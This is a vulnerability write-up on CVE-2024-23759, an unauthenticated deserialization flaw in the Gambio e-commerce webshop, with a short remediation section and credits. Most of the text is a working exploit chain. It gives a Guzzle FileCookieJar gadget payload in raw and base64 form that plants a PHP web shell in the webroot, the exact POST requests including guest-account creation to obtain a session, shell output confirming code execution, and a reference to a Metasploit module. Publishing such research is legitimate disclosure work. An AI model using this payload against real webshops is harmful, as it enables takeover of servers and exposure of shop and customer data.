Overview
As discussed in the related research assessment CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. A Shodan search using http.component:"Gambio" and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.
The main issue sits in the search parameter of the Parcelshopfinder/AddAddressBookEntry function which is deserialized without checking the data.
The ParcelshopfinderController.inc.php file contains this vulnerable function (line 291).
$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {
$search = unserialize(base64_decode($this->_getPostData('search')));
$psfParams = [
'street' => $search[0],
'house' => $search[1],
'zip' => $search[2],
'city' => $search[3],
'country' => $search[4],
'firstname' => $firstname,
'lastname' => $lastname,
'postnumber' => $postnumber,
'additional_info' => $additional_info,
'error' => 'invalid_postnumber',
];
}
The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.
The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"
echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K
and using the following HTTP POST request:
POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
Cookie: your_cookie
checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t
You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array.
However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully. You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below. This does not require any pre-authentication to be successful.
POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process
IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302 and in the admin page of your online webshop the user should show up at the guest section.
If all goes A file cuckoo.php is created in the webroot directory with the PHP code <?php echo system('whoami');?>.
root@cuckoo:~# cd /var/www
root@cuckoo:/var/www# ls -l cuckoo.php
-rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php
root@cuckoo:/var/www# cat cuckoo.php
[{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
When called for instance with curl http://your_webshop_ip/cuckoo.php, it should give you back the user under which the web service is running.
curl http://192.168.201.25/cuckoo.php
[{"Expires":1,"Discard":false,"Value":"www-data
www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.
Remediation
If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0 or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0.
References
- CVE-2024-23759
- Herolab usd Advisory usd-2023-0046
- MITRE CWE-502: Deserialization of Untrusted Data
- OWASP CWE-502: Deserialization of Untrusted Data
- Gambio Webshop Downloads
Credits
Credits goes to the security researchers below who discovered this vulnerability.
Christian Poeschl and Lukas Schraven from Herolab usd.